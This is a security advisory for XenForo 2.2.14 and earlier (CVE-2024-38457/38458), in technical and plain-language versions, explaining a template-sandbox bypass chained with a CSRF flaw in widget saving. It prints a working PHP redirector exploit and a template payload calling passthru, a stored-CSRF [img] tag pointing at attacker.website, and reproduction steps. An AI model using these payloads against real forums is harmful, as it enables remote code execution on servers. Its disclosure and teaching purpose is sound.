SSD Advisory – XenForo RCE Via CSRF
XenForo's template sandbox can be bypassed to execute arbitrary PHP functions, and a CSRF flaw in the widget save action allows an attacker to trigger this RCE when an admin visits a crafted page. An unauthenticated attacker could execute arbitrary code on the server if an admin with style/widget permissions visits a malicious link or views a thread containing a crafted image tag.
Published on ssd-disclosure.com
A vulnerability in XenForo allows a user to trigger an RCE via incorrect parsing and handling of user provided templates, this combined with another CSRF vulnerability. might allow unauthenticated attackers to execute arbitrary code whenever an admin user with permissions to administer styles / widgets will visit a…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
XenForo is a forum platform built around a template system that gives administrators complete control over the layout of pages. Templates can call certain callbacks, but the platform applies a kind of sandbox: only methods whose names begin with an allowed prefix, such as get or filter, are treated as read-only and permitted. The advisory covers two chained issues in that design and in the admin controller that saves widgets: a template sandbox bypass that leads to remote code execution, and a cross-site request forgery flaw in the widget save action that lets the RCE be triggered without authentication, provided an administrator with the right permissions visits a crafted page or link.
The two issues were assigned separate identifiers:
| CVE | Issue |
|---|---|
| CVE-2024-38457 | CSRF |
| CVE-2024-38458 | RCE |
Affected versions are XenForo 2.2.14 and prior. The researcher is Egidio Romano (EgiX), working with SSD Secure Disclosure.
Setup
The exploit requires an account with permissions to administer styles or widgets, and an administrator who holds those permissions and will view attacker-controlled content. The researcher's test environment uses a local hostname mapping and a PHP file served from an attacker-controlled web root.
- Edit your
/etc/hostsfile by adding the following line:
[redacted] attacker.website
- Edit the
exploit.phpfile by changing the$urlvariable according to your testing environment. - Place the
exploit.phpfile on the webroot of your web server.
Finding it
The starting point is the template sandbox. XenForo restricts callback methods in templates to those considered read-only, identified by prefixes such as get or filter. The researcher found that this restriction can be bypassed by abusing the getRepository method from the XF\Mvc\Entity\Manager class to obtain an instance of the XF\Util\Arr class. From there, the filterRecursive method of that class can be abused to execute arbitrary PHP functions, because internally it calls the array_filter PHP function with a callback parameter. The sandbox can be bypassed because a permitted method accepts a callback argument.
The second issue is in XF\Admin\Controller\Widget::actionSave(). That method does not check whether the current HTTP request is a POST or a GET before saving a widget. XenForo performs anti-CSRF checks for POST requests only, so the save action can be driven through a GET request from another origin, creating or modifying arbitrary widgets. Combined with the template sandbox bypass, this gives a CSRF-to-RCE chain.
A third ingredient makes the attack storable: XenForo's BB Code system can be abused through the [img] tag to carry out "Stored CSRF" attacks, so the victim administrator only has to load a page containing an image reference.
Exploitation
Step 1: Prepare the attacker host and payload
Map the attacker hostname locally and place the exploit script on the web server, adjusting $url to point at the target XenForo installation. The script is a redirector: it sends the administrator's browser to the widget save endpoint with all parameters needed to create a widget whose template contains the RCE payload.
<?php
$url = "http://testing.website/xenforo/";
header("Location: {$url}admin.php?widgets/save&definition_id=html&widget_key=RCE&positions[pub_sidebar_top]=1&display_condition=true&options[template]={{\$xf.app.em.getRepository('XF\\Util\\Arr').filterRecursive(['id'],'passthru')}}");
?>
The Location header targets admin.php?widgets/save with a GET request. The parameters set the widget definition (definition_id=html), a widget key (widget_key=RCE), a position (positions[pub_sidebar_top]=1), a display condition, and the template body in options[template]. The template body is the sandbox bypass:
{{ $xf.app.em.getRepository('XF\Util\Arr').filterRecursive(['id'],'passthru') }}
This payload executes the passthru PHP function, passing to it the string id as argument, which results in the execution of the id command on the web server. The getRepository call returns the XF\Util\Arr instance, and filterRecursive supplies passthru as the array_filter callback.
Step 2: Plant the stored CSRF payload
Log into XenForo with the attacker account and create a new thread containing the following BB Code:
[img]http://attacker.website/exploit.php[/img]
When the thread is rendered, the [img] tag causes the victim's browser to request exploit.php from the attacker host, which responds with the redirect into the admin widget save endpoint.
Step 3: Trigger it as the administrator
Log into the XenForo admin panel with a user having permissions to administer styles or widgets, then browse to the previously created thread. A new widget is created silently: the GET request to widgets/save is accepted without a POST body and without an anti-CSRF token check, and the template containing the payload is stored.
Step 4: Observe execution
From the attacker browser session, reload the XenForo home page and notice the output of the id command in the header. The widget is rendered on the page, the template callback runs, and the command output appears in the response.
Alternative delivery
Steps (4) and (6) can also be changed to the following:
- Send a private message containing the "Stored CSRF" payload to every admin user.
- Open the private message and notice how a new widget will be created.

The screenshot shows the result of the chain: the output of the id command rendered in the header of the XenForo home page after the widget was created.
Root cause
Two design mistakes combine. First, the template sandbox relies on method name prefixes to decide what is read-only. That check is insufficient because a permitted method can accept a callback argument: XF\Util\Arr::filterRecursive passes its callback to PHP's array_filter, so any function name supplied as the callback is invoked. Reaching that class through getRepository on XF\Mvc\Entity\Manager gives the template author a general call primitive.
Second, XF\Admin\Controller\Widget::actionSave() does not verify the HTTP method before saving a widget. Anti-CSRF checks in XenForo apply to POST requests only, so a GET request from a cross-origin context performs a state-changing action without a token. The BB Code [img] tag then turns the CSRF into a stored attack: the administrator does not need to click anything, only to view a thread or private message containing the image reference.
Successful exploitation of the RCE requires an account with permissions to administer styles or widgets. The CSRF half removes the need for the attacker to hold those permissions, but the victim administrator must still visit the crafted page or link.
Impact
An unauthenticated attacker can execute arbitrary code on the server whenever an administrator with permissions to administer styles or widgets visits a specially crafted page or link. Because the payload can be stored in a thread or private message via the [img] tag, delivery can be as simple as waiting for an administrator to read content. The id command output appears in the page header, as shown in the screenshot.
Fix
The vendor released an updated version and two advisories covering the fixes:
- https://xenforo.com/community/threads/xenforo-2-1-15-patch-1-2-2-16-patch-2-and-xenforo-media-gallery-2-1-9-2-2-6-released-includes-security-fixes.222133/
- https://xenforo.com/community/threads/xenforo-add-ons-2-3-0-release-candidate-2-released-unsupported-includes-security-fixes.222134/
The vendor released an updated version and two advisories. The advisory does not describe the code changes themselves; the two weaknesses to close are the template sandbox's reliance on name prefixes for methods that accept callbacks, and the missing HTTP method check in actionSave() so that state-changing widget saves cannot be performed via GET.
Variants to test
- Look for other template callback methods whose names match the allowed prefixes but accept a callback or callable argument. A positive result is a template expression that invokes an arbitrary PHP function and shows its output in the rendered page.
- Enumerate other classes reachable through
getRepositorythat expose helpers wrapping PHP functions with callbacks, such as array or string utilities. A positive result is command output or a controlled side effect from a template-only payload. - Test admin controller actions that save state for missing HTTP method checks, especially those protected only by POST-scoped anti-CSRF logic. A positive result is a state change performed by a cross-origin GET request without a token.
- Test BB Code tags that cause the victim's browser to fetch attacker-controlled URLs, such as
[img], in threads and private messages. A positive result is an outbound request from an administrator's browser to the attacker host when the content is viewed. - Check whether widget or style save endpoints accept parameters that end up in templates without sanitisation. A positive result is a stored template expression that executes when the widget or style is rendered.
What happened, in plain words
XenForo is a piece of software that runs online forums: discussion boards where people post threads and replies. It is built around a template system, which is a way of letting administrators control how pages look. Templates are small snippets of text that the forum fills in when it builds a page, a bit like a form letter where the blanks are filled with the right names before it is sent out.
Templates can call small helper routines, called callbacks, to fetch data. To stop templates doing dangerous things, XenForo puts them in a kind of sandbox: only methods (named routines inside the code) whose names start with an allowed prefix, such as get or filter, are treated as read-only and allowed. Think of a hotel that only lets guests into rooms whose numbers start with a 1: it sounds like a rule, but it does not actually check what happens inside the room.
The advisory describes two problems that can be chained together:
- A way to escape that template sandbox and run arbitrary code on the server, known as remote code execution (RCE).
- A cross-site request forgery (CSRF) flaw in the admin action that saves widgets, which lets the RCE be triggered without the attacker being logged in, as long as an administrator with the right permissions visits a crafted page or link.
A widget is a small block of content shown on a forum page, such as a sidebar box. The two issues were given separate identifiers:
| CVE | Issue |
|---|---|
| CVE-2024-38457 | CSRF |
| CVE-2024-38458 | RCE |
A CVE is a public catalogue number for a known security flaw, so people can refer to the same bug unambiguously. Affected versions are XenForo 2.2.14 and prior. The researcher is Egidio Romano (EgiX), working with SSD Secure Disclosure.
Setup
The exploit needs an account with permissions to administer styles or widgets, and an administrator who holds those permissions and will view attacker-controlled content. The researcher's test environment uses a local hostname mapping and a PHP file served from an attacker-controlled web root.
A hostname mapping is a way of telling your own computer "when I type this name, go to this address", without asking the internet. A web root is the folder on a web server whose files are served to visitors. PHP is a programming language commonly used for web pages.
- Edit your
/etc/hostsfile by adding the following line:
[redacted] attacker.website
This line tells the machine that the name attacker.website should resolve to [redacted], which is the machine itself. In other words, when the browser asks for attacker.website, it talks to the local web server instead of a real internet site. This lets the researcher play both the attacker and the victim on one computer.
- Edit the
exploit.phpfile by changing the$urlvariable according to your testing environment. - Place the
exploit.phpfile on the webroot of your web server.
The $url variable holds the address of the target XenForo installation, so the script knows where to send the victim. Placing the file on the web root makes it reachable at http://attacker.website/exploit.php.
Finding it
The starting point is the template sandbox. XenForo restricts callback methods in templates to those considered read-only, identified by prefixes such as get or filter. The researcher found that this restriction can be bypassed by abusing the getRepository method from the XF\Mvc\Entity\Manager class to obtain an instance of the XF\Util\Arr class. From there, the filterRecursive method of that class can be abused to execute arbitrary PHP functions, because internally it calls the array_filter PHP function with a callback parameter. The sandbox can be bypassed because a permitted method accepts a callback argument.
In plain terms: a class is a blueprint in code, and an instance is one object built from that blueprint. getRepository is a method whose name starts with get, so the sandbox allows it. It hands back an object of the XF\Util\Arr class, a helper for working with arrays (lists of values). That helper has a method called filterRecursive, whose name starts with filter, so the sandbox allows that too. But filterRecursive takes a callback, a function name to call on each item, and passes it to PHP's built-in array_filter. If you can choose the callback, you can choose any PHP function to run, including one that runs operating system commands. The prefix rule checked the names, not what the names do.
The second issue is in XF\Admin\Controller\Widget::actionSave(). That method does not check whether the current HTTP request is a POST or a GET before saving a widget. XenForo performs anti-CSRF checks for POST requests only, so the save action can be driven through a GET request from another origin, creating or modifying arbitrary widgets. Combined with the template sandbox bypass, this gives a CSRF-to-RCE chain.
HTTP is the language browsers and web servers use to talk. A GET request is normally used to ask for a page, and a POST request is normally used to submit data, such as a form. CSRF is an attack where a page on one site makes the victim's browser send a request to another site where the victim is logged in, without the victim intending it. Anti-CSRF checks are the defences against this, usually a secret token (a one-time value) that the attacker's page cannot know. If the save action accepts GET and only checks tokens on POST, an attacker can skip the token entirely. Origin here means the site the request comes from.
A third ingredient makes the attack storable: XenForo's BB Code system can be abused through the [img] tag to carry out "Stored CSRF" attacks, so the victim administrator only has to load a page containing an image reference.
BB Code is a simple markup used on forums, where tags in square brackets format text. The [img] tag tells the forum to show an image from a given address. Stored means the malicious content is saved on the forum (in a thread or message) and waits there until someone views it.
Exploitation
Step 1: Prepare the attacker host and payload
Map the attacker hostname locally and place the exploit script on the web server, adjusting $url to point at the target XenForo installation. The script is a redirector: it sends the administrator's browser to the widget save endpoint with all parameters needed to create a widget whose template contains the RCE payload.
<?php
$url = "http://testing.website/xenforo/";
header("Location: {$url}admin.php?widgets/save&definition_id=html&widget_key=RCE&positions[pub_sidebar_top]=1&display_condition=true&options[template]={{\$xf.app.em.getRepository('XF\\Util\\Arr').filterRecursive(['id'],'passthru')}}");
?>
Line by line:
<?phpand?>mark the start and end of PHP code inside the file.$url = "http://testing.website/xenforo/";stores the base address of the target forum in a variable, so the rest of the address can be built from it.header("Location: ...");sends an HTTP response header calledLocation. ALocationheader tells the browser "go to this other address instead". This is a redirect.- The address inside the header is
admin.php?widgets/savefollowed by parameters. The?separates the page from its parameters, and&separates parameters from each other. definition_id=htmlsets the widget definition, meaning the kind of widget to create.widget_key=RCEgives the widget a key, a name used to identify it.positions[pub_sidebar_top]=1sets where the widget appears. The square brackets are how PHP-style forms send nested values.display_condition=truesets a display condition.options[template]=...carries the template body, which is the actual attack.
The template body is the sandbox bypass:
{{ $xf.app.em.getRepository('XF\Util\Arr').filterRecursive(['id'],'passthru') }}
{{ ... }}is how XenForo templates mark a piece of code to run.$xf.app.emreaches the application's entity manager, the object that hands out repositories..getRepository('XF\Util\Arr')asks that manager for the array helper class. The name starts withget, so the sandbox allows it..filterRecursive(['id'],'passthru')calls the helper's filtering method. The name starts withfilter, so the sandbox allows it too. The first argument,['id'], is the list of values to process. The second,'passthru', is the callback: the name of the PHP function to call.passthruis a PHP function that runs a system command and sends its output straight to the page. Here it is given the stringid, so theidcommand runs on the web server.
This payload executes the passthru PHP function, passing to it the string id as argument, which results in the execution of the id command on the web server. The getRepository call returns the XF\Util\Arr instance, and filterRecursive supplies passthru as the array_filter callback. The id command is a standard Unix command that prints which user the process is running as, which is why it is a good demonstration: it proves code ran and shows the privileges.
Step 2: Plant the stored CSRF payload
Log into XenForo with the attacker account and create a new thread containing the following BB Code:
[img]http://attacker.website/exploit.php[/img]
[img]and[/img]are the opening and closing BB Code tags for an image.- The address between them points at the attacker's script.
When the thread is rendered, the [img] tag causes the victim's browser to request exploit.php from the attacker host, which responds with the redirect into the admin widget save endpoint. The attacker does not need to trick the administrator into clicking a link: simply viewing the thread is enough, because the browser automatically fetches images.
Step 3: Trigger it as the administrator
Log into the XenForo admin panel with a user having permissions to administer styles or widgets, then browse to the previously created thread. A new widget is created silently: the GET request to widgets/save is accepted without a POST body and without an anti-CSRF token check, and the template containing the payload is stored.
This is the CSRF half in action. The administrator's browser is logged in, so the request carries their session, and the server treats it as a legitimate action. The attacker never needed the administrator's password.
Step 4: Observe execution
From the attacker browser session, reload the XenForo home page and notice the output of the id command in the header. The widget is rendered on the page, the template callback runs, and the command output appears in the response.
When the page is built, the stored template is evaluated, the passthru call runs id, and its output is placed into the page. The attacker can see the result by reloading the XenForo home page.
Alternative delivery
Steps (4) and (6) can also be changed to the following:
- Send a private message containing the "Stored CSRF" payload to every admin user.
- Open the private message and notice how a new widget will be created.
A private message is a direct message between forum users. Sending it to every administrator increases the chance that one of them opens it, and opening it is all that is needed.

The screenshot shows the result of the chain: the output of the id command rendered in the header of the XenForo home page after the widget was created.
Root cause
Two design mistakes combine. First, the template sandbox relies on method name prefixes to decide what is read-only. That check is insufficient because a permitted method can accept a callback argument: XF\Util\Arr::filterRecursive passes its callback to PHP's array_filter, so any function name supplied as the callback is invoked. Reaching that class through getRepository on XF\Mvc\Entity\Manager gives the template author a general call primitive.
A call primitive simply means the ability to call a function of your choosing. Once you have that, the sandbox no longer matters.
Second, XF\Admin\Controller\Widget::actionSave() does not verify the HTTP method before saving a widget. Anti-CSRF checks in XenForo apply to POST requests only, so a GET request from a cross-origin context performs a state-changing action without a token. The BB Code [img] tag then turns the CSRF into a stored attack: the administrator does not need to click anything, only to view a thread or private message containing the image reference.
Successful exploitation of the RCE requires an account with permissions to administer styles or widgets. The CSRF half removes the need for the attacker to hold those permissions, but the victim administrator must still visit the crafted page or link.
Impact
An unauthenticated attacker can execute arbitrary code on the server whenever an administrator with permissions to administer styles or widgets visits a specially crafted page or link. Because the payload can be stored in a thread or private message via the [img] tag, delivery can be as simple as waiting for an administrator to read content. The id command output appears in the page header, as shown in the screenshot.
Unauthenticated means the attacker does not need to be logged in. Privileges of the web server means the code runs as whatever user the web server process uses, which is often enough to read files or make network connections.
Fix
The vendor released an updated version and two advisories covering the fixes:
- https://xenforo.com/community/threads/xenforo-2-1-15-patch-1-2-2-16-patch-2-and-xenforo-media-gallery-2-1-9-2-2-6-released-includes-security-fixes.222133/
- https://xenforo.com/community/threads/xenforo-add-ons-2-3-0-release-candidate-2-released-unsupported-includes-security-fixes.222134/
The vendor released an updated version and two advisories. The advisory does not describe the code changes themselves; the two weaknesses to close are the template sandbox's reliance on name prefixes for methods that accept callbacks, and the missing HTTP method check in actionSave() so that state-changing widget saves cannot be performed via GET.
Variants to test
- Look for other template callback methods whose names match the allowed prefixes but accept a callback or callable argument. A positive result is a template expression that invokes an arbitrary PHP function and shows its output in the rendered page.
- Enumerate other classes reachable through
getRepositorythat expose helpers wrapping PHP functions with callbacks, such as array or string utilities. A positive result is command output or a controlled side effect from a template-only payload. - Test admin controller actions that save state for missing HTTP method checks, especially those protected only by POST-scoped anti-CSRF logic. A positive result is a state change performed by a cross-origin GET request without a token.
- Test BB Code tags that cause the victim's browser to fetch attacker-controlled URLs, such as
[img], in threads and private messages. A positive result is an outbound request from an administrator's browser to the attacker host when the content is viewed. - Check whether widget or style save endpoints accept parameters that end up in templates without sanitisation. A positive result is a stored template expression that executes when the widget or style is rendered.
Sanitisation means cleaning input so that dangerous characters or code cannot take effect. A side effect is any observable change caused by running code, such as a file being written or a request being made.
Glossary
- API: a defined way for one piece of software to ask another to do something, like a menu of allowed requests.
- Array: an ordered list of values in programming.
- BB Code: a simple markup used on forums, with tags in square brackets, to format posts.
- Callback: a function passed to another function so it can be called later.
- Class: a blueprint in code from which objects are created.
- CSRF (cross-site request forgery): tricking a logged-in user's browser into sending a request to another site without their intent.
- CVE: a public catalogue number for a known security flaw.
- GET: an HTTP request method normally used to ask for a page.
- Hostname mapping: a local rule that tells a computer which address a name should resolve to.
- HTTP: the language browsers and web servers use to exchange requests and responses.
- Instance: one object created from a class.
- Method: a named routine inside a class or object.
- Origin: the combination of scheme, host and port that a web request comes from.
- PHP: a programming language commonly used for web pages.
- POST: an HTTP request method normally used to submit data.
- Privileges: the permissions a running process has.
- RCE (remote code execution): running your own code on someone else's server.
- Redirect: an HTTP response telling the browser to go to another address.
- Sandbox: a restricted environment that limits what code is allowed to do.
- Sanitisation: cleaning input so dangerous content cannot take effect.
- Session: the server's record of a logged-in user, usually tied to a cookie.
- Stored: saved on the server and shown later to whoever views it.
- Template: a snippet of text with placeholders that the server fills in to build a page.
- Token: a secret value used to prove a request is legitimate, often used against CSRF.
- Unauthenticated: not logged in.
- Web root: the folder on a web server whose files are served to visitors.
- Widget: a small block of content shown on a forum page, such as a sidebar box.